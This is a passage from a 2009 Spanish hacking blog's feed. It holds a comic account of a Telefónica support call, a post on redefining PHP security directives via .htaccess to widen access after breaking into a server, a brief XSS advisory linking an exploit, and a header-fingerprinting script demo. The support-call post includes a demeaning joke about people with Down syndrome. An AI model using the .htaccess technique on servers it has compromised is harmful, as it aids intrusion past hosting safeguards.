/&gt;-Según telefónica, no se puede.&lt;br /&gt;-¿En serio? voy a verificarlo, ahorita mismo vuelvo.&lt;br /&gt;&lt;br /&gt;Nos han jodido con las esperas.... nos van a sacar hasta el hígado. Musiquita de los huevos, pero bueno La Cabalgata de las Walkirias esta vez... Me gusta mucho... además me inspira...&lt;br /&gt;-Señor sigue ahí?&lt;br /&gt;-Sí aquí estoy esperando sus verificaciones&lt;br /&gt;-Sí, le decía que efectivamente usted no puede contratar ADSL &lt;br /&gt;- ¿En serio? No lo sabía, gracias por informarme..&lt;br /&gt;-Para eso estamos señor. ¿Decía que su problema era que no podía conectarse a internet, cierto?&lt;br /&gt;-Sí... eso dije al inicio.&lt;br /&gt;-Pues lo siento, pero este número de atención es únicamente para soporte de teléfono, para internet es el número 902 357 000. Llame y allí le ayudaran....&lt;br /&gt;-Ya llamé ahí, y me dieron este número&lt;br /&gt;- ¿En serio? Voy a verificarlo ahorita mismo...&lt;br /&gt;&lt;br /&gt;Si ya lo sabía yo... quien me mandaría llamar a telefónica... si es que nunca escarmiento... la flauta mágica suena ahora...&lt;br /&gt;&lt;br /&gt;-Pues es cierto, señor. Haga lo siguiente, llame de nuevo y espere a que termine la locucioncita, y despues el experto de banda estrecha de telefónica le atenderá.&lt;br /&gt;- Si atenderme no lo dudo... ¿Pero me va a ayudar?&lt;br /&gt;- Disculpe señor no le entiendo.&lt;br /&gt;- Nada nada... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno, volvemos a estar donde antes. Esperemos que el Sr. Experto en Banda Estrecha de Telefónica me pueda ayudar...&lt;br /&gt;&lt;br /&gt;(máquina automática)&lt;br /&gt;-Buenas, le atiende NombreFalso, ¿En qué le puedo ayudar?&lt;br /&gt;- Sí buenas... trato de conectarme a internet y me salta un error...&lt;br /&gt;-Anjá.. entiendo... Dele dos clicks izquierdos a su conexión por defecto.&lt;br /&gt;- No está mal configurada si es lo que piensa...&lt;br /&gt;- Disculpe, pero yo aquí soy el experto.&lt;br /&gt;&lt;br /&gt; Nos han jodido. Nos han jodido bien, Madariagas. Que vamos de "yo trabajo en esto y SÉ MAS QUE USTED". Bueno, bailemos a su son...&lt;br /&gt;&lt;br /&gt;-Venga mister, ya lo tengo abierto, ¿QUe hago ahora?&lt;br /&gt;-¿Tiene puesto de usuario Telefonicanet@telefonicanet?&lt;br /&gt;-Po si.&lt;br /&gt;-¿Y de número de teléfono 908200025 ?&lt;br /&gt;-Po si.&lt;br /&gt;-Clicke en propiedades.&lt;br /&gt;-Hecho mister.&lt;br /&gt;-Ahora usted verá una ventana con muchas pestañas...&lt;br /&gt;- La veo la veo.&lt;br /&gt;- En general, ¿Qué numero aparece?&lt;br /&gt;- 908200025&lt;br /&gt;- Ah.. pues eso está bien. Qué raro. ¿Y tiene la seguridad en "Típica"?&lt;br /&gt;- Efectivamente, es usted un lince.&lt;br /&gt;- Gracias... Vaya a funciones de red, clique dos veces en Protocolo Internet... Y verá usted las DNS.&lt;br /&gt;- Efectivamente mister.&lt;br /&gt;- ¿Podría decirme que números pone?&lt;br /&gt;- Pues de preferente esta y de alternativa esta otra...&lt;br /&gt;-Anjá pues aquí está el problema.&lt;br /&gt;- No se ofenda... no dudo de sus poderes telepáticos pero... ¿Cuando le he dicho mi problema?&lt;br /&gt;- Vamos a ver Chico, yo aquí soy el experto, y los DNS tienen qeu ser estos... Seguro qeu ha sido algún virus informático el que te ha trastocado eso....&lt;br /&gt;- A sí... el virus RGB090...&lt;br /&gt;-¿Como dice?&lt;br /&gt;- Nada cosas mías. Que digo yo, que no sé nada de cacharros de estos, que los DNS los cambié porque los que me proporcionaba por defecto Telefónica me bloqueaba algunas webs...&lt;br /&gt;-Imposible.&lt;br /&gt;-Posible, mire mister, que se lo juro por Snoopy y todos sus amigos.&lt;br /&gt;-Bueno, ponga estos DNS, reinicie y digame si puede conectarse...&lt;br /&gt;- Allá voy señor experto...&lt;br /&gt;(reinicio el ordenata...)&lt;br /&gt;-Mister, que esto sigue sin chutar.&lt;br /&gt;-Imposible&lt;br /&gt;-Posible.&lt;br /&gt;-Que le digo que es imposible, que ya tienes bien los DNS.&lt;br /&gt;-Un pequeño inciso, mister.&lt;br /&gt;- Diga.&lt;br /&gt;- Que digo.. que el problema es general a todo el pueblo.. que digo yo que porque la configuración de mis DNS sea diferente a la default, no influiría en el resto de personal... ¿no?&lt;br /&gt;- Pues sí que influye, no vaya uste de listo, que aquí soy yo el esperto.&lt;br /&gt;&lt;br /&gt;Venga, perico al torno. Que tenemos al Dr. Jaimito, Doctorado en Banda Estrecha por la universidad de Yale... &lt;br /&gt;-Pues mire usted, que yo de esto de la informática no tengo ni idea, pero que creo qeu se equivoca. Y por cierto, para poder resolver mi problema no debería saber primero cual es ?&lt;br /&gt;- Vengaaaaaaaaaaaaaaaaaaaaaaa que ya le he dicho que su problema era el de los DNS.&lt;br /&gt;- Y dale perico al torno.&lt;br /&gt;- ¿Como dice?&lt;br /&gt;- Que parece que han hecho una escursión los de la asociación de síndrome de Down y se a perdido uno dentro de la oficina de telefónica...&lt;br /&gt;- A ver borde, ¿Cual es su dichoso problema? //con voz de MUCHO RITINTIN.&lt;br /&gt;- Que cuando trato de conectarme, cuando está marcando, me salta un error diciendome que el equipo remoto no responde.&lt;br /&gt;-Imposible.&lt;br /&gt;-Posible.&lt;br /&gt;- Que le digo yo a usted qeu eso es imposible.&lt;br /&gt;- Y yo a usted que es eso lo que me pasa.&lt;br /&gt;- Pues si ese es su problema, cuando haya reiniciado y haya puesto los DNS que le dicho todo le funcionará..&lt;br /&gt;- Y dale pesado. &lt;br /&gt;- Que le digo a usted qeu son los DNS, y probablemente el virus ese RGB090 esté por tod el pueblo y es el responsable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aquí me parto el culo. Así exploto, BOOM, carcajadas hasta saltar las lágrimas. Puto virus RGB090 JAJAJAJAJA. Es que no me podía contener la risa.&lt;br /&gt;&lt;br /&gt;-Un momento, esperese.&lt;br /&gt;- ¿A qué?&lt;br /&gt;- A que implosiones criaturica.&lt;br /&gt;- ¿mm...?&lt;br /&gt;-Nada, una pregunta, ¿Podrías pasarme con alguien qeu sepa algo ?&lt;br /&gt;-Yo soy el experto qeu se te ha asignado..&lt;br /&gt;- Pues si así es el experto.... no quiero saber como son el resto.&lt;br /&gt;Clic.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pues espero una hora más... y mágicamente me ha funcionado, eso sí, tratando de entrar veinteminutos enteros.. Y es que la verdad... en telefónica sobran inútiles.&lt;br /&gt;&lt;br /&gt;Pôr cierto, espero qeu vuestros antivirus se protejan contra el virus RGB090...&lt;br /&gt;&lt;br /&gt;Byt3z!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4394987594006226243?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4394987594006226243/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4394987594006226243' title='21 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4394987594006226243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4394987594006226243'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/07/en-telefonica-sobran-inutiles.html' title='En telefónica sobran inútiles.'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1207770875991598387</id><published>2009-06-30T23:41:00.005+02:00</published><updated>2009-07-01T01:23:03.171+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='.Htacces'/><category scheme='http://www.blogger.com/atom/ns#' term='Rootear'/><title type='text'>Redifiniendo directivas PHP: .htaccess</title><content type='html'>&lt;style&gt;code{ color:lima;}&lt;/style&gt;Saludos!!&lt;br /&gt;&lt;br /&gt;  Bueeeeeeeeno, hace mucho tiempo que no me podía pasar por el blog. El caso es que estuve con los exámenes y demas parafernália universitarias que paso de comentar. Ahora mismo he vuelto a mi rutina noctámbula delante del ordenador, con una línea magnífica de 24kbps. Por suerte esta situación "precaria" en cuanto a internet sólo durará hasta Septiembre, cuando vuelva al mundo normal AKA Salamanca.&lt;br /&gt;&lt;br /&gt;   Pero bueno, veo que mis compañeros de aventuras en el blog han continuado posteando para que esto no muriera, tarea muy loable. Hoy vengo con la típica energía y entusiasmo que da el iniciar las vacaciones, así que vamos a aprovecharla para hablar de un tema interesante que ya se tocó muy por encima en el post sobre &lt;a href="http://0verl0ad.blogspot.com/search/label/Rootear"&gt; servidores&lt;/a&gt;: modificar directivas para tener más "margen de movimiento".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Para empezar, debemos de comprender que el comportamiento de los scripts PHP que corremos en un servidor están basados en una configuración preestablecida, indicada en el archivo &lt;b&gt;php.ini&lt;/b&gt;. Este archivo contiene lo que a partir de ahora denominaremos como &lt;b&gt;directivas&lt;/b&gt;, que son las instrucciones que marcarán las pautas de comportamiento de PHP, incluyendo limitaciones (que básicamente es la parte que a nosotros nos interesa). Estas directivas están compuestas por una clave y un valor para dicha clave.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Las directivas que más nos van a ir interesando (por que tal vez nos puedan tocar un tanto las narices) van a ser safe_mode, Magic_Quotes, open_basedir, disable_functions... &lt;br /&gt;&lt;br /&gt;   &lt;b&gt;Safe_Mode&lt;/b&gt;, como su propio nombre indica, activa el "Modo Seguro" de PHP, bloqueando ciertas funciones. Sus posibles valores son On y Off. Despues tenemos &lt;b&gt;magic_quotes_[gpc/runtime/sybase]&lt;/b&gt;, directiva desaconsejada por la mayoría de webmaster, (aunque a la hora de las SQLi es un impedimento desalentador en muchos casos) y básicamente funciona añadiendo una barra invertida (o una comilla simple) a a los caracteres /, ','' y NULL. De esta forma se pretende impedir las inyecciones...  Al igual que safe_mode, sus valores son On y OFF.&lt;br /&gt;&lt;br /&gt;  Por otro lado tenemos &lt;b&gt;Open_basedir&lt;/b&gt;, cuya utilidad es determinar un área de trabajo de PHP, e impedir al ejecución de funciones en puntos más altos del árbol de directorios (más adelante lo explico de forma sencilla). Por último, explicar una de las directivas más restrictivas de cara a una intrusión: &lt;b&gt;disable_functions&lt;/b&gt;. Esta directiva se encarga de inhabilitar aquellas funciones que le indiquemos. Hay que aclarar que presenta independencia con respecto a Safe_Mode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Todas estas directivas suelen emplearse en servidores de hosting que emplean para diferentes webs un mismo servidor. Para impedir que los usuarios intervengan (de forma maliciosa o por error) en el espacio de otros, ya sea en los archivos, configuraciones, directorios, etc. Por ejemplo, mediante open_basedir, podemos impedir que desde el espacio empleado por el usuario A pueda ejecutar algún script/programa que pueda afectar a un usuario B. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Vale, sé que esta introducción es un tanto básica y que se conoce, pero así espero que la gente pueda comprender todo desde 0. Así que continuemos. Estas directivas pueden ser modificadas desde diferentes puntos, siendo éste uno de los objetivos primoridales cuando obtenemos acceso a un servidor, puesto que lo primero es poder tener cierto margen de maniobrabilidad para poder avanzar en nuestra intrusión. Pero claro, no todas las directivas pueden ser modificable de "tantas formas". Existe una pequeña clasificación de las directivas.&lt;br /&gt;&lt;br /&gt;  La modificabilidad de las directivas viene definida por las constantes &lt;b&gt;PHP_INI_USER&lt;/b&gt;,&lt;b&gt;PHP_INI_PERDIR&lt;/b&gt; , &lt;b&gt;PHP_INI_SYSTEM&lt;/b&gt; y &lt;b&gt;PHP_INI_ALL&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;  Bien, aquellas directivas PHP_INI_USER, pueden ser modificadas desde un script por parte del usuario (usando la función &lt;b&gt;ini_set()&lt;/b&gt;, por ejemplo); PHP_INI_PERDIR desde .htaccess, httpd.conf y desde el propio php.ini; PHP_INI_SYSTEM desde php.ini o httpd.conf; PHP_INI_ALL desde cualquier lugar. Para conocer a qué categoría pertenecen las directivas, &lt;a href="http://www.php-es.com/ini.html"&gt;clickad aquí (PHP-ES.COM)&lt;/a&gt;. Existe otro tipo de directivas, entre las que se encuentra disable_functions, que únicamente son modfiicable a través de php.ini.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Algunas directivas pueden ser modificables a través del archivo .htaccess. Para ello, tenemos dos opciones y son a través de &lt;b&gt;php_flag&lt;/b&gt; y &lt;b&gt;php_value&lt;/b&gt;. Si creamos un archivo .htaccess en el servidor en el que estamos, podemos redefinir aquellas directivas cuyos posibles valores sean on u off usando php_flag:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;php_flag magic_quotes_gpc on&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;   Y cuando existe polivalencia para la instrucción, empleamos php_value. Si lo que deseamos es eliminar algún valor, utilizaremos  &lt;b&gt;none&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;  El hecho de poder crear un .htaccess que redifina las directivas (principalmente las de seguridad) es algo muy sencillo de hacer y que nos puede ayudar en muchas ocasiones. &lt;br /&gt;&lt;br /&gt;   La configuración, viene dada por el archivo php.ini (como ya dijimos en un principio), y por los archivos .htaccess (y httpd.conf). Si tenemos un .htacces redifiniendo directivas en la raíz, a la hora de decidir cuál se van a emplear ( si que aparecen indicadas en php.ini o por el contrario las que aparecen en .htacces), la balanza se va a del lado del .htaccess. Además, en esto de las preferencias, interviene un detalle crucial y que es, en síntesis, aquél por el cual podemos emplear este método a modo de "bypass" de restricciones, y es la heredabilidad.&lt;br /&gt;&lt;br /&gt;  Cuando hablamos de la heredabilidad de .htacces, hacemos referencia a que si hay un archivo de este tipo en un directorio, y existe otro en la raíz, las indicaciones presente en el archivo existente en el propio directorio donde se está ejecutando el script PHP seran aquellas que se tengan en cuenta. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Espero que este artículo se entienda más o menos (si existe algún error comunicadmelo). La verdad es que .htaccess es una herramienta muy útil, y que se le está dando bastante uso: desde asociar scripts PHP a extensiones tipo jpeg, gif, etc, hasta bypassear mod_security.&lt;br /&gt;&lt;br /&gt;Byt3z&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1207770875991598387?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1207770875991598387/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1207770875991598387' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1207770875991598387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1207770875991598387'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/06/redifiniendo-directivas-php-htaccess.html' title='Redifiniendo directivas PHP: .htaccess'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7802213518504171212</id><published>2009-06-09T22:39:00.002+02:00</published><updated>2009-06-09T22:50:05.776+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='advisories'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>Blog System v1.5 - XSS por post</title><content type='html'>Name:    Blog System v1.5&lt;br /&gt;Vuln:    XSS&lt;br /&gt;Web:     http://www.netartmedia.net/blogsystem/&lt;br /&gt;Dork:    WTF!&lt;br /&gt;Author:  &gt;&gt; s E t H &lt;&lt;&lt;br /&gt;My blog: http://0verl0ad.blogspot.com/&lt;br /&gt;Email: seth /A\ el-hacker /D\ org&lt;br /&gt;&lt;br /&gt;&lt;a href="http://seth.oxyhost.com/descargas/exploit_blog_system_1.5_xss.txt"&gt;Ver exploit&lt;/a&gt;&lt;br /&gt;Para probar, pueden apuntar el form a http://www.blog23.com/index.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7802213518504171212?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7802213518504171212/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7802213518504171212' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7802213518504171212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7802213518504171212'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/06/blog-system-v15-xss-por-post.html' title='Blog System v1.5 - XSS por post'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3442741119672702929</id><published>2009-06-04T21:29:00.005+02:00</published><updated>2009-06-04T22:00:13.564+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Cabeceras'/><category scheme='http://www.blogger.com/atom/ns#' term='Bash'/><title type='text'>ServerInfo 0.1</title><content type='html'>Es un poco molesto estar conectando con netcat y mandando heads y options cada vez que queres ver los headers de un servidor web, asi que hice este script muy sencillo que te muestra esa información.&lt;br /&gt;Pueden bajarlo de &lt;a href="http://seth.oxyhost.com/descargas/sinfo.sh"&gt;acá&lt;/a&gt; y &lt;a href="http://www.mediafire.com/?sharekey=c289372fb0298f3407258ee67c679e4a779d30a7ab1e1f75c95965eaa7bc68bc"&gt;acá&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;una demostracion de lo que hace y como se usa:&lt;br /&gt;&lt;pre class="bbcode" style="overflow: auto;"&gt;seth@debian:~$ chmod +x sinfo.sh&lt;br /&gt;seth@debian:~$ ./sinfo.sh microsoft.com OPTIONS&lt;br /&gt;********************************&lt;br /&gt;* ServerInfo 0.1               *&lt;br /&gt;* http://0verl0ad.blogspot.com *&lt;br /&gt;* seth /A\ el-hacker.org       *&lt;br /&gt;********************************&lt;br /&gt;Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Allow: OPTIONS, TRACE, GET, HEAD&lt;br /&gt;Server: Microsoft-IIS/6.0&lt;br /&gt;Public: OPTIONS, TRACE, GET, HEAD, POST&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;X-UA-Compatible: IE=EmulateIE7&lt;br /&gt;Date: Wed, 03 Jun 2009 23:18:58 GMT&lt;br /&gt;seth@debian:~$ ./sinfo.sh www.google.com.ar HEAD&lt;br /&gt;********************************&lt;br /&gt;* ServerInfo 0.1               *&lt;br /&gt;* http://0verl0ad.blogspot.com *&lt;br /&gt;* seth /A\ el-hacker.org       *&lt;br /&gt;********************************&lt;br /&gt;Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Date: Wed, 03 Jun 2009 23:19:05 GMT&lt;br /&gt;Server: gws&lt;br /&gt;seth@debian:~$ ./sinfo.sh foro.undersecurity.net GET&lt;br /&gt;********************************&lt;br /&gt;* ServerInfo 0.1               *&lt;br /&gt;* http://0verl0ad.blogspot.com *&lt;br /&gt;* seth /A\ el-hacker.org       *&lt;br /&gt;********************************&lt;br /&gt;Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Date: Wed, 03 Jun 2009 23:19:17 GMT&lt;br /&gt;Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 FrontPage/5.0.2.2635 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.8b&lt;br /&gt;X-Powered-By: PHP/5.2.6&lt;br /&gt;seth@debian:~$ ./sinfo.sh foro.undersecurity.net OPTIONS&lt;br /&gt;********************************&lt;br /&gt;* ServerInfo 0.1               *&lt;br /&gt;* http://0verl0ad.blogspot.com *&lt;br /&gt;* seth /A\ el-hacker.org       *&lt;br /&gt;********************************&lt;br /&gt;Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Date: Wed, 03 Jun 2009 23:19:27 GMT&lt;br /&gt;Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 FrontPage/5.0.2.2635 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.8b&lt;br /&gt;Location: http://www.google.com/search?q=Como%20puedo%20ser%201337%20h4x0r?!?!!1&lt;br /&gt;seth@debian:~$ ./sinfo.sh foro.portalhacker.net OPTIONS&lt;br /&gt;********************************&lt;br /&gt;* ServerInfo 0.1               *&lt;br /&gt;* http://0verl0ad.blogspot.com *&lt;br /&gt;* seth /A\ el-hacker.org       *&lt;br /&gt;********************************&lt;br /&gt;Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Date: Wed, 03 Jun 2009 23:19:47 GMT&lt;br /&gt;Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8b&lt;br /&gt;Allow: GET, HEAD, OPTIONS, TRACE&lt;br /&gt;seth@debian:~$&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Lo que hace es mandar una petición http (con pocas cabeceras, se puede agregar mas para que parezca de un usuario normal) usándo los métodos GET, OPTIONS o HEAD y muestra lo mas interesante de la respuesta.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.undersecurity.net/profile.php?41,3"&gt;C1c4Tr1Z&lt;/a&gt; (&lt;a href="http://voodoo-labs.org/blog/"&gt;Blog&lt;/a&gt;) me respondió con una version mucho mas corta usando curl (tiene cosas a favor y en contra):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Te recomendaría usar curl:&lt;br /&gt;&lt;pre class="bbcode_geshi" style="overflow: auto;"&gt;&lt;div class="head"&gt;Language: Bash&lt;/div&gt;c1c4tr1z&lt;span class="br0"&gt;(&lt;/span&gt;bash&lt;span class="br0"&gt;)&lt;/span&gt; % ~ $ &lt;span class="re2"&gt;data=&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; localhost OPTIONS &lt;span class="br0"&gt;)&lt;/span&gt;;curl -X &lt;span class="st0"&gt;"${data[1]}"&lt;/span&gt; -H &lt;span class="st0"&gt;"Host: ${data[0]}"&lt;/span&gt; -I -A &lt;span class="st0"&gt;"one-user-agent/1.1.1.1"&lt;/span&gt; $&lt;span class="br0"&gt;{&lt;/span&gt;data&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;&lt;span class="br0"&gt;}&lt;/span&gt;&lt;br /&gt;HTTP/&lt;span class="nu0"&gt;1.1&lt;/span&gt; &lt;span class="nu0"&gt;200&lt;/span&gt; OK&lt;br /&gt;Date: Thu, &lt;span class="nu0"&gt;04&lt;/span&gt; Jun &lt;span class="nu0"&gt;2009&lt;/span&gt; &lt;span class="nu0"&gt;00&lt;/span&gt;:&lt;span class="nu0"&gt;40&lt;/span&gt;:&lt;span class="nu0"&gt;53&lt;/span&gt; GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Allow: GET,HEAD,POST,OPTIONS,TRACE&lt;br /&gt;Content-Length: &lt;span class="nu0"&gt;0&lt;/span&gt;&lt;br /&gt;Content-Type: httpd/unix-directory&lt;/pre&gt;&lt;br /&gt;Pero despues se podría hacer mas especifico con awk , por ejemplo, para checkear si nos responde con un código 200 (OK):&lt;br /&gt;&lt;pre class="bbcode_geshi"style="overflow: auto;"&gt;&lt;div class="head"&gt;Language: Bash&lt;/div&gt;c1c4tr1z&lt;span class="br0"&gt;(&lt;/span&gt;bash&lt;span class="br0"&gt;)&lt;/span&gt; % ~ $ &lt;span class="re2"&gt;data=&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; localhost OPTIONS &lt;span class="br0"&gt;)&lt;/span&gt;;curl -X &lt;span class="st0"&gt;"${data[1]}"&lt;/span&gt; -H &lt;span class="st0"&gt;"Host: ${data[0]}"&lt;/span&gt; -I -A &lt;span class="st0"&gt;"one-user-agent/1.1.1.1"&lt;/span&gt; $&lt;span class="br0"&gt;{&lt;/span&gt;data&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;&lt;span class="br0"&gt;}&lt;/span&gt; | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'&lt;br /&gt;BEGIN{a=0}&lt;br /&gt;$1~/^HTTP&lt;span class="es0"&gt;\/&lt;/span&gt;1&lt;span class="es0"&gt;\.&lt;/span&gt;[0-1]$/{if($2=="200"){a=1}}&lt;br /&gt;{if(a==1){print$0}}'&lt;/span&gt;&lt;br /&gt;% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;                            Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;     &lt;span class="nu0"&gt;0&lt;/span&gt;    &lt;span class="nu0"&gt;0&lt;/span&gt;     &lt;span class="nu0"&gt;0&lt;/span&gt;    &lt;span class="nu0"&gt;0&lt;/span&gt;     &lt;span class="nu0"&gt;0&lt;/span&gt;      &lt;span class="nu0"&gt;0&lt;/span&gt;      &lt;span class="nu0"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:--     &lt;span class="nu0"&gt;0&lt;/span&gt;&lt;br /&gt;HTTP/&lt;span class="nu0"&gt;1.1&lt;/span&gt; &lt;span class="nu0"&gt;200&lt;/span&gt; OK&lt;br /&gt;Date: Thu, &lt;span class="nu0"&gt;04&lt;/span&gt; Jun &lt;span class="nu0"&gt;2009&lt;/span&gt; &lt;span class="nu0"&gt;00&lt;/span&gt;:&lt;span class="nu0"&gt;51&lt;/span&gt;:&lt;span class="nu0"&gt;38&lt;/span&gt; GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Allow: GET,HEAD,POST,OPTIONS,TRACE&lt;br /&gt;Content-Length: &lt;span class="nu0"&gt;0&lt;/span&gt;&lt;br /&gt;Content-Type: httpd/unix-directory&lt;br /&gt;&lt;br /&gt;c1c4tr1z&lt;span class="br0"&gt;(&lt;/span&gt;bash&lt;span class="br0"&gt;)&lt;/span&gt; % ~ $ &lt;span class="re2"&gt;data=&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt; localhost/no-existe/ OPTIONS &lt;span class="br0"&gt;)&lt;/span&gt;;curl -X &lt;span class="st0"&gt;"${data[1]}"&lt;/span&gt; -H &lt;span class="st0"&gt;"Host: ${data[0]}"&lt;/span&gt; -I -A &lt;span class="st0"&gt;"one-user-agent/1.1.1.1"&lt;/span&gt; $&lt;span class="br0"&gt;{&lt;/span&gt;data&lt;span class="br0"&gt;[&lt;/span&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;&lt;span class="br0"&gt;]&lt;/span&gt;&lt;span class="br0"&gt;}&lt;/span&gt; | &lt;span class="kw2"&gt;awk&lt;/span&gt; &lt;span class="st0"&gt;'&lt;br /&gt;BEGIN{a=0}&lt;br /&gt;$1~/^HTTP&lt;span class="es0"&gt;\/&lt;/span&gt;1&lt;span class="es0"&gt;\.&lt;/span&gt;[0-1]$/{if($2=="200"){a=1}}&lt;br /&gt;{if(a==1){print$0}}'&lt;/span&gt;&lt;br /&gt;% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;                            Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;&lt;span class="nu0"&gt;0&lt;/span&gt;   &lt;span class="nu0"&gt;296&lt;/span&gt;    &lt;span class="nu0"&gt;0&lt;/span&gt;     &lt;span class="nu0"&gt;0&lt;/span&gt;    &lt;span class="nu0"&gt;0&lt;/span&gt;     &lt;span class="nu0"&gt;0&lt;/span&gt;      &lt;span class="nu0"&gt;0&lt;/span&gt;      &lt;span class="nu0"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:--     &lt;span class="nu0"&gt;0&lt;/span&gt;&lt;br /&gt;c1c4tr1z&lt;span class="br0"&gt;(&lt;/span&gt;bash&lt;span class="br0"&gt;)&lt;/span&gt; % ~ 